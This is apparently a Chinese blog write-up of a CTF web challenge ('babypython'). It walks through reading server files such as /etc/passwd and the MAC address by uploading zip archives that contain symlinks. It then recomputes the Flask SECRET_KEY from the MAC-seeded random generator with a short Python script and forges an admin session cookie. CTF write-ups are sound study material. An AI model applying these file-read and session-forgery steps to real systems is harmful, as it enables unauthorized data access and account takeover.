babypython[国赛总决赛复现]
看着像是[HCTF 2018]Hide and seek 这题改的,和[CISCN2019 华东南赛区]Web4的加密SECRET_KEY的方式也一样 
进去提示要变admin,想到session伪造,直接jwt.io伪造不了,需要SECRET_KEY。上传文件只能为zip ,软链接zip 读取文件。
ln -s /etc/passwd passwd
zip --symlinks passwd.zip passwd
读取/proc/self/environ 提示bad bad hack就会重定向到index?error=1页面,读取/app/app.py无果 尝试/app/main.py 以及 /app/uwsgi.ini(看之前题目的wp猜的,感觉应该懒得去改这个)  
还是不知道具体代码在哪,直接根据之前题目的加密方式打 app.config[‘SECRET_KEY’] = str(random.random()*100) random.seed(uuid.getnode()),设置随机数种子操作。 python random生成的数是伪随机数 uuid.getnode(),这个函数可以获取网卡mac地址并转换成十进制数返回 通过读/sys/class/net/eth0/address文件得到mac地址,于是构造软链接、生成zip、上传看返回结果。
import uuid
import random
mac = "02:42:ac:10:8c:9f"
temp = mac.split(':')
temp = [int(i,16) for i in temp]
temp = [bin(i).replace('0b','').zfill(8) for i in temp]
temp = ''.join(temp)
mac = int(temp,2)
random.seed(mac)
randStr = str(random.random()*100)
print(randStr)
用flask-session-cookie-manager-master伪造session

带着伪造admin的session去访问,就给flag了 
寒王’sblog
根据提示用工具即可,但图片不是头像,在gitee里面。。。。。我说咋没东西 
  别的没做出来,看完wp再补
|